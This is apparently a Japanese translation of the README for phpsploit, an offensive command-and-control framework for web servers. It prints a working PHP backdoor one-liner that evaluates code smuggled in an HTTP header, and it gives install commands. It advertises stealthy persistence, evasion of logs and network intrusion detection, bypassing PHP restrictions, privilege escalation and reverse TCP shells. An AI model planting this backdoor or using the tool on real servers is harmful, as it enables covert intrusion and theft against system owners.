phpsploit

完全な機能を備えたC2フレームワーク。ポリモーフィックなPHPワンライナーにより、
Webサーバー上に静かに永続化します

codeclimate maintainability

概要

難読化された通信は、標準的なクライアントリクエストとそれに対応するWebサーバーのレスポンス内のHTTPヘッダーを使用して実現され、小さなポリモーフィックバックドアを介してトンネリングされます：

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

クイックスタート

git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"

機能

• 効率的：権限昇格タスクを自動化する20以上のプラグイン

  • コマンドを実行し、PHPのセキュリティ制限をバイパスしてファイルシステムを参照
  • クライアントとターゲット間のファイルのアップロード/ダウンロード
  • ローカルテキストエディタでリモートファイルを編集
  • ターゲットシステムでSQLコンソールを実行
  • リバースTCPシェルを起動

• ステルス性：このフレームワークは、偏執的な開発者によって、偏執的なユーザーのために作られました

  • ログ解析やNIDSシグネチャ検出に対してほぼ不可視
  • セーフモードおよび一般的な_PHPセキュリティ制限のバイパス_
  • 通信はHTTPヘッダーに隠蔽
  • ロードされたペイロードは_NIDSをバイパス_するために難読化
  • http/https/socks4/socks5 プロキシ対応

• 便利：多くの重要な機能を備えた堅牢なインターフェース

  • 任意のオプションに対する詳細なヘルプ（helpコマンド）
  • クライアントとサーバーの両方で_クロスプラットフォーム_
  • CLIはオートコンプリートとマルチコマンドをサポート
  • セッションの保存/読み込み機能と永続的な履歴
  • 大規模ペイロード（アップロードなど）のためのマルチリクエスト対応
  • 強力で高度に設定可能な設定エンジンを提供
  • ユーザーエージェントなどの各設定には_ポリモーフィックモード_がある
  • プラグイン連携のためのカスタマイズ可能な環境変数
  • 完全なプラグイン開発APIを提供

対応プラットフォーム（攻撃側）：

• GNU/Linux
• Mac OS X

対応プラットフォーム（ターゲット側）：

• GNU/Linux
• BSD-like
• Mac OS X
• Windows NT

コントリビュータ

これらの素晴らしい方々に感謝します：

このプロジェクトはall-contributors仕様に従っています。あらゆる種類のコントリビューションを歓迎します